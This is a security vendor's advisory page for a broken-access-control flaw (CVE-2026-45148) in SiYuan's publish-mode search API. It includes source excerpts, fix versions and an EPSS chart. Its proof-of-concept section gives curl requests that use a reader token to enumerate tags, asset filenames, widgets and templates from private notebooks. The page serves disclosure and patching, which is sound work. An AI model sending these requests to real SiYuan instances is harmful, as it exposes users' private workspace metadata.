Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

GHSA-fmh9-gpqh-g53g

MEDIUM

GHSA-fmh9-gpqh-g53g is a medium-severity (CVSS 4.3) CWE-863 vulnerability in github.com/siyuan-note/siyuan/kernel. O3 Security confirms whether GHSA-fmh9-gpqh-g53g is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode

Also known asCVE-2026-45148GO-2026-5370
Published
May 13, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fmh9-gpqh-g53g.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs13th percentile — riskier than 13% of all scored CVEsHighest risk
0.00%0.24%0.48%0.72%0.0%0.2%0.2%0.2%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fmh9-gpqh-g53g plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.

Details

Affected files / lines (v3.6.5):

kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:

ginServer.Handle("POST", "/api/search/searchTag",      model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget",   model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset",    model.CheckAuth, searchAsset)

kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:

// :29-65  listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

// :67-93  getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)

// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)

// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}

// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)

// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)

model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.

PoC

End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:

# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
     -H 'Authorization: Bearer <reader-jwt>' \
     -H 'Content-Type: application/json' \
     -d '{"k":""}'

curl -X POST https://<publish-host>/api/search/searchWidget   -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'

Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.

In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.

Impact

A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:

  • All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
  • All asset filenames uploaded to the workspace — frequently contains the contents of CV.pdf, contract.docx, salary-2026.xlsx, etc.
  • All widget names and template names installed in the workspace.

This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versions0.0.0-20260512140701-d7b77d945e0d

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fmh9-gpqh-g53g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fmh9-gpqh-g53g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fmh9-gpqh-g53g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary. ### Details **Affected files / lines (v3.6.5):** `kernel/api/router.go:181-190` — all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes: `
O3 Security · Impact-Aware SCA

Is GHSA-fmh9-gpqh-g53g in your dependencies?

O3 detects GHSA-fmh9-gpqh-g53g across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.